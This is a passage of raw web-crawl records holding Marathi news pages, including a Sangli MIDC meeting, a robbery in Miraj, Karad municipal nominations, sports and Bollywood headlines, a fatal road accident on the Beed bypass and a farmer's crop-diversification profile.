व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Solve-the-issue-of-MIDC-questions-promptly/", "date_download": "2018-09-25T17:24:36Z", "digest": "sha1:MPT6RLRDPCLGS2CF7PRZCUYSBM3TPMUC", "length": 5543, "nlines": 36, "source_domain": "www.pudhari.news", "title": " एमआयडीसीतील प्रश्‍न तातडीने सोडवा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › एमआयडीसीतील प्रश्‍न तातडीने सोडवा\nएमआयडीसीतील प्रश्‍न तातडीने सोडवा\nसांगली मिरज आणि कुपवाड परिसरातील अनेक प्रश्‍न दीर्घकाळापासून प्रलंबित आहेत. ते सोेडवण्यासाठी संबंधित यंत्रणांनी तातडीने कार्यवाही करावी आणि अहवाल सादर करावा, असे आदेश जिल्हाधिकारी विजयकुमार काळम- पाटी यांनी आज येथे दिले.\nजिल्हा उद्योग मित्र समिती, जिल्हा सल्लागार समितीची बैठक झाली. त्यावेळी ते बोलत होते. जिल्हा उद्योग केंद्राचे व्यवस्थापक नितीन कोळेकर, जिल्हा अग्रणी बँकेचे व्यवस्थापक सी. बी. गुडस्कर, औद्योगिक विकास महामंडळाच्या प्रादेशिक अधिकारी स्वाती शेंडे, सहाय्यक कामगार आयुक्त मोहन सोनार, जिल्हा उद्योग केंद्राच्या व्यवस्थापिका विद्या कुलकर्णी, सांगली - मिरज एमआयडीसी असोसिएशनचे अध्यक्ष संजय अराणके, कृष्णा व्हॅली असोसिएशनचे शिवाजी पाटील, वसंतदादा औद्योगिक वसाहत सहकारी संस्थेचे अध्यक्ष सचिन पाटील, गोविंदराव मराठे औद्योगिक वसाहतीचे उपाध्यक्ष संतोष भावे उपस्थित होते.\nमिरज एमआयडीसीमध्ये फायर स्टेशन सुरू करणे, कुपवाड एम.आय.डी.सी.मधील वृक्षारोपणासाठी दिलेले खुले प्लॉट परत घेऊन छोट्या उद्योजकांना देणे, सांडपाणी प्रकल्प व्यवस्थापन, मिरज एम.आय.डी.सी. क्षेत्रात रस्त्यावर गतिरोधक करणे, मिरज एम.आय.डी.सी. मधील खोक्यांचे अतिक्रमण काढणे आदी विषयांवर सविस्तर चर्चा झाली. त्यानंतर संबंधितांना सूचना देऊन कामाचा अहवाल देण्यास सांगण्यात आले.जिल्हा उद्योग केंद्राचे महाव्यवस्थापक कोळेकर यांनी बैठकीत विषय सादर केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/fear-of-the-knife-student-robbed/", "date_download": "2018-09-25T17:48:43Z", "digest": "sha1:YERFIMGDRPGCB4JPAR2Z6PXLVBAFK5GZ", "length": 4495, "nlines": 36, "source_domain": "www.pudhari.news", "title": " चाकूच्या धाकाने विद्यार्थ्याला लुटले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › चाकूच्या धाकाने विद्यार्थ्याला लुटले\nचाकूच्या धाकाने विद्यार्थ्याला लुटले\nमिरज : शहर प्रतिनिधी\nचाकूचा धाक दाखवून व मारहाण करून येथील एका विद्यार्थ्याला लुटण्यात आले. याप्रकरणी महात्मा गांधी चौकी पोलिसांनी इजाज हुसेन बागवान (वय 20), मुस्तफा हुसेन बागवान (वय 21, दोघे रा. मिरज) यांना सोमवारी अटक केली.\nयाबाबत गणेश शिवानंद गुरव (रा. माणिकनगर, मिरज) या विद्यार्थ्याने तक्रार दिली आहे. गणेश हा दि. 7 रोजी रात्री अकरा वाजण्याच्या सुमारास मिरज स्टेशन रस्त्यावरील स्टेशन डेपो झोपडपट्टीकडून चालत जात होता. यावेळी इजाज, मुस्तफा व अन्य एक अशा तिघांनी गणेशला अडवले. त्याला चाकूचा धाक दाखवून मारहाण करण्यात आली. त्यानंतर त्याच्या खिशातील मोबाईल व एक हजार रुपयांची रोकड काढून घेतली.\nसोमवारी गणेश याने तक्रार दिल्याने तिघांवर पोलिसांनी गुन्हा दाखल केला. पोलिसांनी इजाज व मुस्तफा या दोघांना अटक केली. त्यांना मिरज न्यायालयात हजर करण्यात आले. न्यायालयाने त्यांना तीन दिवसांची पोलिस कोठडी दिली आहे. अन्य एक फरार असल्याचे पोलिसांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Jayant-Patil-s-nomination-for-the-post-of-an-acknowledged-corporator/", "date_download": "2018-09-25T16:50:28Z", "digest": "sha1:HDAGCVLFDPABD5SSO5GG34PW7KL6OTK3", "length": 4240, "nlines": 35, "source_domain": "www.pudhari.news", "title": " सातारा : जयंत पाटील यांचा स्‍वीकृत नगरसेवक पदासाठी अर्ज | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › सातारा : जयंत पाटील यांचा स्‍वीकृत नगरसेवक पदासाठी अर्ज\nसातारा : जयंत पाटील यांचा स्‍वीकृत नगरसेवक पदासाठी अर्ज\nकराड (जि. सातारा) येथील नगरपालिका स्‍वीकृत नगरसेवक पदासाठी शनिवारी दुपारी निवडणूक प्रक्रिया पार पडणार आहे. या पार्श्वभूमीवर कराड उत्तरचे राष्ट्रवादीचे आमदार बाळासाहेब पाटील यांचे धाकटे बंधू जयंत पाटील यांनी शुक्रवारी विरोधी लोकशाही आघाडीकडून प्रांताधिकारी हिम्मत खराडे यांच्याकडे स्वीकृत नगरसेवक पदासाठी उमेदवारी अर्ज दाखल केला.\nयापूर्वीच भाजपाकडून माजी नगरसेवक फारूख पटवेकर यांनी गुरूवारी उमेदवारी अर्ज दाखल केला आहे. त्यामुळेच लोकशाही आघाडी आणि भाजपा यांच्यात स्वीकृत पदासाठी लढत होणार आहे. शुक्रवारी उमेदवारी अर्ज दाखल करताना लोकशाही आघाडीचे गटनेते सौरभ पाटील, नगरसेवक वैभव हिंगमिरे, मोहसिन आंबेकरी, माजी नगरसेवक सुहास पवार, शिवाजी पवार हेही यावेळी उपस्थित होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Wild-animals-and-ecosystems-must-be-protected/", "date_download": "2018-09-25T17:31:18Z", "digest": "sha1:KOULMQ5WHLZDGU3G4YTLDQ6XR4TZC3PQ", "length": 6251, "nlines": 36, "source_domain": "www.pudhari.news", "title": " पर्यावरण रक्षणासाठी माणसांची झाली माकडं | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › पर्यावरण रक्षणासाठी माणसांची झाली माकडं\nपर्यावरण रक्षणासाठी माणसांची झाली माकडं\nपाटण : गणेशचंद्र पिसाळ\nमाकडाचा माणूस झाला, हे जगजाहीर आहेच. मात्र कोयना विभागात गेल्या काही वर्षांतील चित्र नेमके उलटे आहे. मानवासाठी येथे विविध कायदे, जाचक अटी व निर्बंध घातले जात असताना वन्य प्राण्यांसाठी पायघड्या घालण्याचे काम सुरू झाले. पर्यावरण रक्षणाच्या नावाखाली येथे माणसाचं माकड बनविण्याचा प्रयत्न सुरू असून तो कोयनेच्या मुळावर उठला आहे.\nवन्य प्राण्यांचे व पर्यावरणाच रक्षण झालच पाहिजे, मात्र त्याचवेळी स्थानिकांवर अन्याय करणे जनहिताच ठरते का याचाही सार्वत्रिक विचार होणे गरजेचे बनले आहे. कोयना विभागात यापूर्वी धरण व जलविद्युत प्रकल्प यामुळे या प्रकल्पांसाठी पूरक असे अन्य छोटे, मोठे प्रकल्प येथे सुरू होते. धरण निर्मितीमध्ये काही गावांबरोबरच स्थानिक भूमिपुत्र प्रकल्पग्रस्तांचे संसारही उठले. अनेक प्रकल्प बंद पडले, तर नियोजित प्रकल्प जाणीवपूर्वक लालफितीतच अडकवून ठेवल्याने खाजगी ठेकेदार कंपन्या सोडून गेले.\nत्यानंतर टप्प्याटप्प्याने येथील शासकीय कार्यालये इतरत्र हलविण्यात आली. बाजारपेठाही ओस पडल्याने व्यापार्‍यांनीही पाठ फिरवली. पर्यटन वाढीकडे दुर्लक्ष करण्यात आल्याने पर्यटकांचीही संख्या कमी झाली. स्थानिकांनी स्वतःच्या मुलाबाळांप्रमाणे येथे जंगले राखली. त्यांच्यावरच पर्यावरण रक्षणाचे मानव निर्मित प्रकल्प लादले. कोयना अभयारण्य, सह्याद्री व्याघ्र प्रकल्प, पश्‍चिम घाट व इको सेन्सिटिव्ह प्रकल्प यामुळे येथे देशोधडीला लागलेला स्थानिक दिवसेंदिवस अडचणीत आला. पर्यावरण पूरक प्रकल्प राबविताना प्राण्यांसोबत स्थानिक माणसांचाही विचार व्हावा. केवळ कागदोपत्री बागुलबुवा न करता माणूस केंद्रबिंदू ठेवून नियोजन केल्यास पर्यावरण व वन्यजीव रक्षणही होईल यात शंका नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/sport/page/4", "date_download": "2018-09-25T17:17:34Z", "digest": "sha1:2ZCCRXI2EGK5ZWRP2GPERNO5GCSYGJSN", "length": 9222, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "क्रिडा Archives - Page 4 of 598 - तरुण भारत | तरुण भारत", "raw_content": "\nप्रशिक्षक बदलाचा कोणताही विचार नाही : राही सरनोबत\nपुणे / प्रतिनिधी : 2020 साली टोकिओ येथे होणाऱया ऑलिंपिक स्पर्धेची तयारी सुरू असून प्रशिक्षक बदलण्याबाबत कोणताही विचार नाही. त्यामुळे ऑलिंपिकपर्यंत जर्मन प्रशिक्षक मुंखाबायर दोर्जसुरेन हेच माझे प्रशिक्षक राहतील, असे जकार्ता येथील आशियाई स्पर्धेतील सुवर्णपदक विजेतील नेमबाजपटू सुवर्णकन्या राही सरनौबत हिने शनिवारी येथे स्पष्ट केले. आशियाई स्पर्धेत सुवर्णपदकाचा वेध घेतल्याबद्दल तसेच अर्जुन पुरस्कार जाहीर झाल्याबद्दल राहीचा जिल्हा क्रीडा कार्यालय ...Full Article\nअजिंक्य रहाणे, अय्यरची शतके\nवृत्तसंस्था/ बेंगळूर विजय हजारे करंडक स्पर्धेत बलाढय़ मुंबईने आपला विजयी झंझावत कायम राखताना कर्नाटकवर 88 धावांनी दणदणीत विजय मिळवला. मुंबईचा हा सलग दुसरा ठरला आहे. प्रारंभी, कर्णधार अजिंक्य रहाणे ...Full Article\n‘टायगर्स’विरुद्ध भारताची विजयी ‘डरकाळी’\nआशिया चषक स्पर्धा : जडेजाचे 29 धावात 4 बळी, भुवनेश्वर-बुमराहचे 3 बळी, रोहितचे नाबाद अर्धशतक वृत्तसंस्था / दुबई डावखुरा फिरकीपटू रवींद्र जडेजा (4-29), भुवनेश्वर (3-32), बुमराह (3-37) यांची भेदक ...Full Article\nनाओमी ओसाका उपांत्य फेरीत\nवृत्तसंस्था/ टोकियो अलीकडेच अमेरिकन टेनिस ग्रँडस्लॅम जिंकणाऱया जपानच्या नाओमी ओसाकाने पॅन पॅसिफिक टेनिस स्पर्धेत बार्बर स्ट्रायकोव्हाला देखील 6-3, 6-4 अशा फरकाने पराभूत करत उपांत्य फेरीतील स्थान निश्चित केले. अवघ्या ...Full Article\nदडपणाखाली पुन्हा सिंधूचा पराभव\nचायना ओपन बॅडमिंटन : पुरुषांत किदाम्बी श्रीकांतचेही पॅकअप वृत्तसंस्था / चांगझू (चीन) येथे सुरु असलेल्या 10 लाख अमेरिकन डॉलर बक्षीस रकमेच्या चायना ओपन बॅडमिंटन स्पर्धेत भारताची स्टार खेळाडू पीव्ही ...Full Article\nपुढील इंग्लंड दौऱयात फलंदाजांनी अधिक सज्ज रहावे : द्रविड\nवृत्तसंस्था/ नवी दिल्ली यंदाच्या इंग्लंड दौऱयात दोन्ही संघातील फलंदाजांना बरेच झगडावे लागले. पण, यातून योग्य तो बोध घेत पुढील इंग्लिश दौऱयात भारतीय फलंदाजांनी अधिक कसून तयारी करायला हवी व ...Full Article\nशाहबाज नदीमला राष्ट्रीय पदार्पणाचे वेध\nवृत्तसंस्था/ नवी दिल्ली चेन्नईतील विजय हजारे चषक स्पर्धेतील लिस्ट ए लढतीत 10 धावात 8 बळी घेत दोन दशकांपूर्वीचा विक्रम मोडीत काढणाऱया फिरकीपटू शाहबाज नदीमने भारतीय संघातर्फे खेळण्याचे आपले ध्येय ...Full Article\nरोनाल्डोच्या रेड कार्डवर पुढील आठवडय़ात फेरविचार\nवृत्तसंस्था/ व्हॅलेन्सिया-स्पेन ख्रिस्तियानो रोनाल्डोला वादग्रस्तरित्या दिल्या गेलेल्या रेड कार्डवर गुरुवार दि. 27 रोजी फेरविचार केला जाणार असल्याचे युफा व्यवस्थापनाने स्पष्ट केले. क्लब स्तरावर युवेन्टसतर्फे खेळणाऱया पोर्तुगीज सुपरस्टार रोनाल्डोला यापूर्वी ...Full Article\nविराट कोहली, मिराबाईला ‘खेलरत्न’\nवृत्तसंस्था /नवी दिल्ली : भारतीय क्रिकेट संघाचा कर्णधार विराट कोहली व वर्ल्ड चॅम्पियन वेटलिफ्टर मिराबाई चानू यांना राजीव गांधी खेलरत्न हा देशातील सर्वोच्च क्रीडा पुरस्कार जाहीर झाला आहे. याशिवाय, ...Full Article\nसिंधू, श्रीकांत उपांत्यपूर्व फेरीत\nवृत्तसंस्था /चांगझू (चीन) : भारताच्या पीव्ही सिंधू व किदाम्बी श्रीकांत यांनी चीन ओपन बॅडमिंटन स्पर्धेच्या उपांत्यपूर्व फेरीत प्रवेश केला. सिंधू व श्रीकांतला या विजयासाठी मात्र बराच संघर्ष करावा लागला. ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/bollywood/off-screen/2", "date_download": "2018-09-25T17:02:02Z", "digest": "sha1:7UTPKIOQNPHKD3CXNPSHA4D6KJLI47Y2", "length": 3375, "nlines": 98, "source_domain": "divyamarathi.bhaskar.com", "title": "Bollywood News Marathi : Bollywood Latest News, Breaking News and News Headlines Today, मराठी चित्रपट सृष्टी बातम्या - Divya Marathi off screen Page:2", "raw_content": "\n अभिषेक आणि ऐश्वर्यामध्ये 'सामना' रंगणार\nचिमुकल्या अबरामने केले किंग खानचे बारसे, शाहरुखचा झाला 'शग्गू....'\n'ती एन्गेजमेंट रिंग नव्हे', साखरपुड्याच्या बातमीला कतरिनाने लावले फेटाळून\n24 वर्षांनंतर श्रीदेवी-अमिताभ दिसणार सोबत\nबिग बी म्हणतात, 'मुलगी म्हणजे घरातील आत्मा'\nयूरोपच्या टूरवर गेले राणी-आदित्य\nपहिल्या महायुद्धातील सैनिकांवर चित्रपट, पुढील वर्षी होणार प्रदर्शित\n'युद्ध'च्या शूटिंगवेळी ट्रेन दिसताच भूतकाळात रमले बिग बी\nHUMSHAKALSची कमाई पाहून सर्वच हैराण टि्वटर यूझर्सने प्रेक्षकांवर उपस्थित केले प्रश्न\n'लघुपट दाखवत आहे, असे म्हणालो असतो तर कोणीच पाहिले नसते...'\n'शमिताभ'मधील बिग बींचा वेगळा लूक आला समोर, मेकओव्हरने या भूमिकांनाही केले हिट\n'सिंग इज ब्लिंग'मध्ये अक्षयसोबत करीना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.6, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/one-men-killed-in-bike-accident-on-beed-bypass-5953084.html", "date_download": "2018-09-25T16:35:18Z", "digest": "sha1:4U2ZH6FU7X33CXMIQB75U3BBWGQ244EJ", "length": 11849, "nlines": 149, "source_domain": "divyamarathi.bhaskar.com", "title": "one men killed in bike accident on beed bypass | बीड बायपास राष्ट्रीय'मृत्यू'मार्ग: सहारा सिटी वळणावर भरधाव स्कॉर्पिओच्या धडकेत एक ठार", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nबीड बायपास राष्ट्रीय'मृत्यू'मार्ग: सहारा सिटी वळणावर भरधाव स्कॉर्पिओच्या धडकेत एक ठार\nबीड बायपास रोडवर अपघाताची मालिका सुरूच असून गुरुवारी सकाळी पावणे दहा वाजेच्या सुमारास सहारा सिटीमध्ये जाण्यासाठी बायपास\nऔरंगाबाद- बीड बायपास रोडवर अपघाताची मालिका सुरूच असून गुरुवारी सकाळी पावणे दहा वाजेच्या सुमारास सहारा सिटीमध्ये जाण्यासाठी बायपासवरून वळण घेत असलेल्या दुचाकीस्वार मजुरास देवळाई चौकाच्या दिशेने भरधाव जाणाऱ्या स्कॉर्पिओने उडवले. स्कॉर्पिओ एवढी वेगात होती की, तिने दुुचाकीस्वारास दूरवर फरपटत नेले. त्यामुळे मजुराचा जागीच मृत्यू झाला. फरपट नेल्यामुळे दुचाकीचे इंजिनही फुटले. अपघातानंतर स्कॉर्पिओ चालक गाडी सोडून फरार झाला.\nमुकुंदवाडीच्या शिवशाही नगरमधील भगवान गंगाधर शेळके (४४) चार महिन्यांपासून सहारा सिटीतील कंत्राटदाराकडे काम करतात. गुरुवारी सकाळी दुचाकीने ते कामावर जाण्यासाठी निघाले. बीड बायपासवरून त्यांनी सहारा सिटीसमोर असलेल्या वळणावरून वळण घेऊन रस्ता ओलांडला. रस्ता ओलांडून रस्त्याच्या खाली उतरलेल्या शेळके यांच्या अंगावर जालन्याकडून देवळाई चौकाच्या दिशेने भरधाव जात असलेली स्कॉर्पिओ ( क्रमांक : एमएच २१- व्ही २५२९) येऊन धडकली. स्कॉर्पिओने त्यांना रस्त्याच्या खाली कंपनीच्या प्रवेशद्वारासमोर लावलेल्या गट्टूपर्यंत घासत नेले. यात शेळके यांचा जागीच मृत्यू झाला. स्थानिकांनी पोलिसांना कळवले. त्यानंतर शेळके यांचा मृतदेह घाटी रुग्णालयात नेण्यात आला. एमआयडीसी सिडको पोलिस ठाण्यात घटनेची नोंद करून स्कॉर्पिओ जप्त करण्यात आली. परंतु अपघातानंतर चालकाने लगेच धूम ठोकली होती. बीडबायपासवर वेग व जड वाहनांमुळे अपघात होऊन मृत्यूची शृंखला सुरू आहे. त्यात महिनाभरात आठ जणांचे बळी गेले आहेत. गुरुवारी शेळके यांचा ९ वा बळी गेला. शेळके हे मूळ पैठण तालुक्यातील केकतजळगाव येथील आहेत. दहा बारा वर्षांपूर्वी कामानिमित्त ते शहरात स्थायिक झाले होते. रोज सकाळी आठला कामाला जाणाऱ्या शेळके यांना गुरुवारी उशीर झाल्याने ते नऊ वाजता निघाले व अपघात झाला, असे त्यांच्या छोट्या मुलाने सांगितले. त्यांच्या पश्चात दोन मुले, दोन विवाहित मुली असून मोठा मुलगा वाहन चालक आहे.\nराँग साइड जाणाऱ्या दुचाकींची समोरासमोर धडक; २ ठार\nराँग साइड जाणाऱ्या दुचाकीचालकामुळे त्याच्यासह दुसऱ्याही दुचाकीचालकाचा अपघातात मृत्यू झाल्याची घटना बुधवारी आपदभालगाव उड्डाणपुलावर रात्री नऊ वाजता घडली. विजय शांतीलाल फुतपुरे (३०, रा. कचनेर) व वासुदेव कल्याण बोंगाणे (२८, रा. नायगाव) अशी त्यांची नावे आहेत. विजय आईसोबत दुचाकीने (एमएच २० - ई एस ८०१८) उड्डाणपुलावरून राँग साइड जात होता. या वेळी समोरून वासुदेव हे दुचाकीवरून (एमएच २० - डी एल - २९२३) येत होते. अंधारात दोन्ही दुचाकी समोरासमोर धडकल्या व यात तिघेही गंभीर जखमी झाले. तिघांना घाटीत दाखल केल्यावर डॉक्टरांनी वासुदेव यांना तपासून मृत घोषित केले तर विजय यांचा गुरुवारी मृत्यू झाला.चिकलठाणा पोलिस ठाण्याचे लहू थोटे तपास करत आहेत.\nअपघात झाल्यानंतर आला स्फोटासारखा मोठा आवाज\nप्रत्यक्षदर्शींनी दिलेल्या माहितीनुसार, स्कॉर्पिओचा वेग इतका प्रचंड होता की अपघात झाल्यानंतर स्फोट व्हावा, तसा आवाज ऐकू आला. या धडकेत काही फुटापर्यंत दुचाकी घासत नेल्याने शेळके यांच्या दुचाकीचे इंजिन फुटले. सहारा सिटीसमोर रस्त्याच्या खाली बसवलेल्या गट्टूंवर चाक घासल्याचे काळे निशाण उमटले. यात स्कॉर्पिओच्या समोरील बाजूचाही बराच भाग फुटला होता.\nकर्जवाटपावरून सहकार बँकेच्या सभेत तोडफोड; इमारतीच्या गच्चीवर चढून जोरदार घोषणाबाजी\nपारंपरिक वाद्यांच्या गजरात गणरायाला निरोप; मिरवणुकीत डीजेला फाटा\nगणपती विसर्जनाला गालबाेट: गणपती बाप्पाला निराेप देताना राज्यात २८ जणांना जलसमाधी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/agro/agro-news-agriculture-changes-138523", "date_download": "2018-09-25T17:56:25Z", "digest": "sha1:RKSYYTANJZJ3KKLBAAUT355GCRFH2VKV", "length": 22365, "nlines": 191, "source_domain": "www.esakal.com", "title": "Agro News Agriculture Changes पीक बदलातून शेती केली किफायतशीर | eSakal", "raw_content": "\nपीक बदलातून शेती केली किफायतशीर\nरविवार, 19 ऑगस्ट 2018\nकोठारी येथील माध्यमिक शाळेमधील शिक्षकाची नोकरी सांभाळत शेखर महाकाळ यांनी मानोली (जि. वाशीम) येथील स्वतःच्या वडिलोपार्जित शेतीमध्ये पीक बदल करत वेगळेपण जपले. कापूस, तूर, सोयाबीन या पारंपरिक पिकांच्या बरोबरीने त्यांनी गेल्या तीन वर्षांपासून तज्ज्ञांच्या मार्गदर्शनानुसार खरिपात गादीवाफ्यावर कांदा लागवडीचे नियोजन करीत चांगले उत्पादनदेखील घेतले. परिसरातील शेतकऱ्यांना चांगल्या दर्जाचे बियाणे मिळण्यासाठी यंदा त्यांनी कांदा बीजोत्पादनावर भर दिला आहे.\nकोठारी येथील माध्यमिक शाळेमधील शिक्षकाची नोकरी सांभाळत शेखर महाकाळ यांनी मानोली (जि. वाशीम) येथील स्वतःच्या वडिलोपार्जित शेतीमध्ये पीक बदल करत वेगळेपण जपले. कापूस, तूर, सोयाबीन या पारंपरिक पिकांच्या बरोबरीने त्यांनी गेल्या तीन वर्षांपासून तज्ज्ञांच्या मार्गदर्शनानुसार खरिपात गादीवाफ्यावर कांदा लागवडीचे नियोजन करीत चांगले उत्पादनदेखील घेतले. परिसरातील शेतकऱ्यांना चांगल्या दर्जाचे बियाणे मिळण्यासाठी यंदा त्यांनी कांदा बीजोत्पादनावर भर दिला आहे.\nमानोली (जि. वाशीम) येथील शेखर नारायणराव महाकाळ यांचे कुटुंब पाच भावांचे. काळानुरुप मानोली येथील वडिलोपार्जित शेतीची वाटणी झाली. शेखर महाकाळ नोकरीला असल्याने त्यांच्या वाट्याला हलकी व मध्यम प्रतीची जमीन मिळाली. या हलक्या जमिनीत पीक उत्पादन वाढीच्या दृष्टीने त्यांनी शेती नियोजनात बदल करायचे ठरविले. सुपीकता वाढविण्यासाठी धरणातील गाळ जमिनीत मिसळला. वर्षभर पीक लागवडीच्या दृष्टीने महाकाळ यांनी सिंचनासाठी विहीर खोदली. वीजपुरवठ्याची समस्या लक्षात घेऊन विहिरीवर सौरपंप बसविला. त्यामुळे त्यांना आता पीक गरजेनुसार पुरेसे पाणी देणे शक्य होते. शेखर महाकाळ यांची वेगवेगळ्या ठिकाणी मिळून पंधरा एकर शेती अाहे. या दोन्ही शेतीत त्यांनी पारंपरिक सोयाबीन, तूर पिकाबरोबरच भाजीपालावर्गीय पिकांवर लक्ष केंद्रित केले. शेतीच्या दैनंदिन नियोजनासाठी सालगडी आहे, तसेच गरजेवेळी भाऊ आणि पुतण्यांचीही मदत त्यांना शेतीच्या नियोजनात मिळते.\nगेल्या काही हंगामापासून कांदा पिकात महाकाळ यांनी जम बसविला अाहे. अाता त्यांनी इतर पिकांकडेही लक्ष दिले आहे. यावर्षी जूनमध्ये त्यांनी एक एकर क्षेत्रावर हिरव्या मिरचीची लागवड केली. सध्या काही प्रमाणात मिरचीची विक्री सुरू झाली. सुरुवातीला ४० ते ५० रुपयांचा दर मिळाला. आता २० ते २५ रुपये प्रति किलोला दर मिळत अाहेत. मिरचीची दररोज विक्री होत असल्याने शेतीला लागणारा खर्च त्यातून भागवला जातो. याचबरोबरीने सोयाबीन आणि तूर अडीच एकर, कापूस पाच एकर आणि हळद अडीच एकरावर लागवड असते. सोयाबीनचे एकरी ९ क्विंटल, कापसाचे १२ 